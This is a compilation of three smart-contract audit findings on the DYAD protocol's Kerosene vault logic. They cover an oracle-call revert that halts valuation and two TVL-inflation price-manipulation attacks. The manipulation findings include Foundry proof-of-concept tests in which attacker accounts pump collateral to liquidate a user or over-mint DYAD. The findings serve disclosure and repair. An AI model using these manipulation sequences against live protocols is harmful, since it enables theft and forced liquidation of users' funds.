DYAD - amaron's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L269-L286 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L50-L68 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L88

Vulnerability details

Impact

• Users attempting to add a Kerosene vault via the VaultManagerV2::addKerosene function are required to input a licensed kerosene vault as a parameter. This vault must be licensed within the kerosineManager.

if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();

• Vaults are licensed only if their owner added the vault using the KerosineManager::add function. Thus, calling add function with the kerosene vaults is necessary to enable the usage of kerosene vaults.

• The VaultManagerV2::getKeroseneValue function invokes KeroseneVault::getUsdValue, which in turn calls UnboundedKerosineVault::assetPrice. This function retrieves vaults from kerosineManager and calculates the TVL (Total Value Locked) using the vaults' oracles.

  function assetPrice() 
    public 
    view 
    override
    returns (uint) {
      uint tvl;
@>      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
@>        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
      }
      uint numerator   = tvl - dyad.totalSupply();
      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;
  }

• Due to the inclusion of unboundedKerosineVault in the kerosineManager's vaults, attempts to call its oracle, which does not exist, result in the entire calculation being reverted, rendering the protocol unusable.

Proof of Concept:

add the following function to ./test/fork/V2.t.sol

function testGetKeroseneValue() public {
        Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
        vm.prank(MAINNET_OWNER);
        licenser.add(address(contracts.vaultManager));

        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(address(contracts.ethVault));
        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(address(contracts.wstEth));
        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(address(contracts.unboundedKerosineVault));

        vm.prank(MAINNET_OWNER);
        contracts.kerosineManager.add(address(contracts.unboundedKerosineVault));

        vm.deal(user, 2e18);

        DNft dNft = contracts.vaultManager.dNft();
        uint256 K_USER = contracts.kerosineDenominator.denominator() * 18 / 100000; // random amount of kerosene.
        WETH weth = WETH(payable(address(contracts.ethVault.asset())));

        // get some KEROSENE to the user from uniswap.
        ERC20 k = contracts.kerosene;
        vm.prank(UNISWAP);
        k.transfer(user, K_USER);

        //setup user account
        vm.startPrank(user);
        uint256 id_user = dNft.mintNft{value: 1 ether}(user);
        contracts.vaultManager.add(id_user, address(contracts.ethVault));
        weth.deposit{value: 1 ether}();
        weth.approve(address(contracts.vaultManager), 1 ether);
        contracts.vaultManager.deposit(id_user, address(contracts.ethVault), 1 ether);
        uint256 USER_DYAD = contracts.vaultManager.getTotalUsdValue(id_user);
        contracts.vaultManager.addKerosene(id_user, address(contracts.unboundedKerosineVault));
        k.approve(address(contracts.vaultManager), K_USER);
        contracts.vaultManager.deposit(id_user, address(contracts.unboundedKerosineVault), K_USER);

        // all these functions make a use of the getKeroseneValue so we expect them all to revert.
        vm.expectRevert();
        contracts.vaultManager.getTotalUsdValue(id_user);

        vm.expectRevert();
        contracts.vaultManager.getKeroseneValue(id_user);

        vm.expectRevert();
        contracts.vaultManager.mintDyad(id_user, USER_DYAD * 33 / 100, user);

        vm.stopPrank();
    }

when you remove the vm.expectRevert and run the test with -vvv you can see:

    │   │   ├─ [214] UnboundedKerosineVault::oracle() [staticcall]
    │   │   │   └─ ← [Revert] EvmError: Revert
    │   │   └─ ← [Revert] EvmError: Revert
    │   └─ ← [Revert] EvmError: Revert
    └─ ← [Revert] EvmError: Revert

Suite result: FAILED. 0 passed; 1 failed;

Tools Used

• Foundry
• Manual Review

Recommended Mitigation Steps

1. Instead of using KerosineManager::getVaults that returns both Kerosene and non-Kerosene vaults, use VaultManagerV2::getVaults that returns only the correct vaults.

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L65

Vulnerability details

Impact

• The protocol sets Kerosene’s value as DYAD collateral deterministically: KerosineValue = TVL - DYAD.
• This calculation is evident in the UnboundedKerosineVault::assetPrice function, where the Kerosene value is derived from the Total Value Locked (TVL) minus the total supply of DYAD tokens.

  function assetPrice() 
    public 
    view 
    override
    returns (uint) {
      uint tvl;
      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
      }
@>      uint numerator   = tvl - dyad.totalSupply();
      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;
  }

• As only TVL and DYAD total supply influence the Kerosene value, a malicious actor with significant collateral can artificially inflate the Kerosene value by depositing a large amount of collateral without minting any DYAD tokens.
• This can lead users to acquire risky positions with temporarily favorable collateral ratios (using the inflated value of Kerosene), resulting in liquidation when the whale withdraws their funds.

Proof of Concept

add the following function to ./test/fork/V2.t.sol

    function testLiquidationAttack() public {
        Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
        vm.prank(MAINNET_OWNER);
        licenser.add(address(contracts.vaultManager));

        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(address(contracts.ethVault));
        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(address(contracts.wstEth));
        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(address(contracts.unboundedKerosineVault));

        // adding older vaults too:

        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(MAINNET_WETH_VAULT);
        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(MAINNET_WSTETH_VAULT);

        vm.prank(MAINNET_OWNER);
        contracts.kerosineManager.add(address(contracts.unboundedKerosineVault));

        vm.deal(attacker, 5000e18);
        vm.deal(user, 2e18);

        DNft dNft = contracts.vaultManager.dNft();
        uint256 AMOUNT_ATTACKER_MAIN = 3650e18; // a lot of WETH as a collateral related to current TVL
        uint256 K_USER = contracts.kerosineDenominator.denominator() * 18 / 100000; // enough kerosene to get cr > 1.5
        WETH weth = WETH(payable(address(contracts.ethVault.asset())));

        // get enough KEROSENE to the user;
        ERC20 k = contracts.kerosene;
        vm.startPrank(UNISWAP);
        k.transfer(user, K_USER);
        vm.stopPrank();

        // Now we deposit a lot of WETH amount as collateral just to pump TVL => k = TVL - DYAD;
        vm.startPrank(attacker);
        uint256 id_mainAcc = dNft.mintNft{value: 1 ether}(attacker);
        contracts.vaultManager.add(id_mainAcc, address(contracts.ethVault));
        weth.deposit{value: AMOUNT_ATTACKER_MAIN}();
        weth.approve(address(contracts.vaultManager), AMOUNT_ATTACKER_MAIN);
        contracts.vaultManager.deposit(id_mainAcc, address(contracts.ethVault), AMOUNT_ATTACKER_MAIN);
        vm.stopPrank();

        //setup innocent user account
        vm.startPrank(user);
        uint256 id_user = dNft.mintNft{value: 1 ether}(user);
        contracts.vaultManager.add(id_user, address(contracts.ethVault));
        weth.deposit{value: 1 ether}();
        weth.approve(address(contracts.vaultManager), 1 ether);
        contracts.vaultManager.deposit(id_user, address(contracts.ethVault), 1 ether);
        uint256 USER_DYAD = contracts.vaultManager.getTotalUsdValue(id_user);
        contracts.vaultManager.addKerosene(id_user, address(contracts.unboundedKerosineVault));
        k.approve(address(contracts.vaultManager), K_USER);

        contracts.vaultManager.deposit(id_user, address(contracts.unboundedKerosineVault), K_USER);

        contracts.vaultManager.mintDyad(id_user, USER_DYAD, user); //mint about 100% of collateral because we have kerosene; 1:1 -> 1.5:1 with kerosene
        console.log("User Collateral ratio before manipulating is ", contracts.vaultManager.collatRatio(id_user));
        vm.stopPrank();
        assert(contracts.vaultManager.collatRatio(id_user) > MIN_COLLATERIZATION_RATIO);

        // let's assume that somewhere in the future the attacker want to liquidate other positions:
        vm.roll(block.number + 1);
        vm.prank(attacker);
        contracts.vaultManager.withdraw(id_mainAcc, address(contracts.ethVault), AMOUNT_ATTACKER_MAIN, attacker);

        console.log("User Collateral ratio after manipulating2 is ", contracts.vaultManager.collatRatio(id_user));
        assert(contracts.vaultManager.collatRatio(id_user) < MIN_COLLATERIZATION_RATIO);
        vm.stopPrank();
    }

Ran 1 test for test/fork/v2.t.sol:V2Test
[PASS] testLiquidationAttack() (gas: 1548219)
Logs:
  User Collateral ratio before manipulating is  1713909413124846406
  User Collateral ratio after manipulating is  1056909413568717869

Tools Used

• Foundry
• Manual review

Recommended Mitigation Steps

Relying solely on on-chain data for calculating value is not recommended due to its susceptibility to manipulation. Consider diversifying calculation methods and incorporating off-chain data sources for increased robustness and security.

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L65

Vulnerability details

Impact

• The protocol sets Kerosene’s value as DYAD collateral deterministically: KerosineValue = TVL - DYAD.
• This calculation is evident in the UnboundedKerosineVault::assetPrice function, where the Kerosene value is derived from the Total Value Locked (TVL) minus the total supply of DYAD tokens.

  function assetPrice() 
    public 
    view 
    override
    returns (uint) {
      uint tvl;
      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
      }
@>      uint numerator   = tvl - dyad.totalSupply();
      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;
  }

• As only TVL and DYAD total supply influence the Kerosene value, a malicious actor with significant collateral can artificially inflate the Kerosene value by depositing a large amount of collateral without minting any DYAD tokens.
• The attacker can do that in order to create dangerous positions minting 50% more dyad.
• The attacker can put the entire protocol in danger because many positions will have an unlikely ratio of collateral to dyad, and a drop in the price of ETH (collateral) can cause a broken invariant(!) after the attacker withdraws his collateral!
• The attacker can induce a reduction in the protocol's usage due to fears of manipulation. They could even hold the entire protocol hostage by using his capital.
• This also creates a variety of manipulation options, including minting and burning DYAD to alter Kerosene value, influencing DYAD price in DEXes, and more.

Proof of Concept

    function testDepositAttack() public {
        Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
        vm.prank(MAINNET_OWNER);
        licenser.add(address(contracts.vaultManager));
        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(address(contracts.ethVault));
        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(address(contracts.wstEth));

        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(address(contracts.unboundedKerosineVault));

        //adding older vaults too:

        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(MAINNET_WETH_VAULT);
        vm.prank(MAINNET_OWNER);
        contracts.vaultLicenser.add(MAINNET_WSTETH_VAULT);

        vm.prank(MAINNET_OWNER);
        contracts.kerosineManager.add(address(contracts.unboundedKerosineVault));

        vm.deal(attacker, 5000e18);
        vm.deal(attackerSecondAcc, 5000e18);

        DNft dNft = contracts.vaultManager.dNft();
        uint256 AMOUNT_ATTACKER_SECOND_ACC = 810e18; // ~2x TVL as a collateral
        uint256 AMOUNT_ATTACKER_MAIN = 3650e18; // ~3x TVL after sec acc deposit of collateral
        uint256 K_AMOUNT = contracts.kerosineDenominator.denominator() * 12 / 100; // 12% supply -> small amount of KEROSENE mint A LOT OF DYAD after manipulation.
        WETH weth = WETH(payable(address(contracts.ethVault.asset())));

        // get 12% of KEROSENE to the minter;
        ERC20 k = contracts.kerosene;
        vm.startPrank(UNISWAP);
        k.transfer(attackerSecondAcc, K_AMOUNT);
        vm.stopPrank();

        // setup attacker second account
        vm.startPrank(attackerSecondAcc);
        uint256 id_secondAcc = dNft.mintNft{value: 1 ether}(attackerSecondAcc);
        contracts.vaultManager.add(id_secondAcc, address(contracts.ethVault));
        contracts.vaultManager.addKerosene(id_secondAcc, address(contracts.unboundedKerosineVault));
        weth.deposit{value: AMOUNT_ATTACKER_SECOND_ACC}();
        weth.approve(address(contracts.vaultManager), AMOUNT_ATTACKER_SECOND_ACC);
        contracts.vaultManager.deposit(id_secondAcc, address(contracts.ethVault), AMOUNT_ATTACKER_SECOND_ACC);
        uint256 AMOUNT_DYAD_USD = contracts.vaultManager.getTotalUsdValue(id_secondAcc);
        contracts.vaultManager.mintDyad(id_secondAcc, (AMOUNT_DYAD_USD * 66 / 100), attackerSecondAcc);
        // adding k before manipulation, but minting the dyad should revert before manipulation
        k.approve(address(contracts.vaultManager), K_AMOUNT);
        contracts.vaultManager.deposit(id_secondAcc, address(contracts.unboundedKerosineVault), K_AMOUNT);
        console.log(contracts.vaultManager.collatRatio(id_secondAcc));
        vm.expectRevert(IVaultManager.CrTooLow.selector); //Before maniupulation you can't mint 100% collateral dyad.
        contracts.vaultManager.mintDyad(id_secondAcc, (AMOUNT_DYAD_USD * 33 / 100), attackerSecondAcc);
        vm.stopPrank();

        // Now we deposit to main account just to pump TVL => k = TVL - DYAD;
        vm.startPrank(attacker);
        uint256 id_mainAcc = dNft.mintNft{value: 1 ether}(attacker);
        contracts.vaultManager.add(id_mainAcc, address(contracts.ethVault));
        weth.deposit{value: AMOUNT_ATTACKER_MAIN}();
        weth.approve(address(contracts.vaultManager), AMOUNT_ATTACKER_MAIN);
        contracts.vaultManager.deposit(id_mainAcc, address(contracts.ethVault), AMOUNT_ATTACKER_MAIN);
        vm.stopPrank();

        // Now we're going to mint dyad, since the Kerosene already pumped we only need very low amount, in order to mint 50%(!) more dyad;
        vm.startPrank(attackerSecondAcc);
        console.log(contracts.vaultManager.collatRatio(id_secondAcc));
        contracts.vaultManager.mintDyad(id_secondAcc, (AMOUNT_DYAD_USD * 33 / 100), attackerSecondAcc); //up to 1:1 dyad:collateral
        vm.stopPrank();
        console.log("User Collateral ratio after manipulating is ", contracts.vaultManager.collatRatio(id_secondAcc));
    }

Tools Used

• Foundry
• Manual review

Recommended Mitigation Steps

• Relying solely on on-chain data for calculating value is not recommended due to its susceptibility to manipulation. Consider diversifying calculation methods and incorporating off-chain data sources for increased robustness and security.
• Add a defense mechanism against this type of attack

Assessed type

Oracle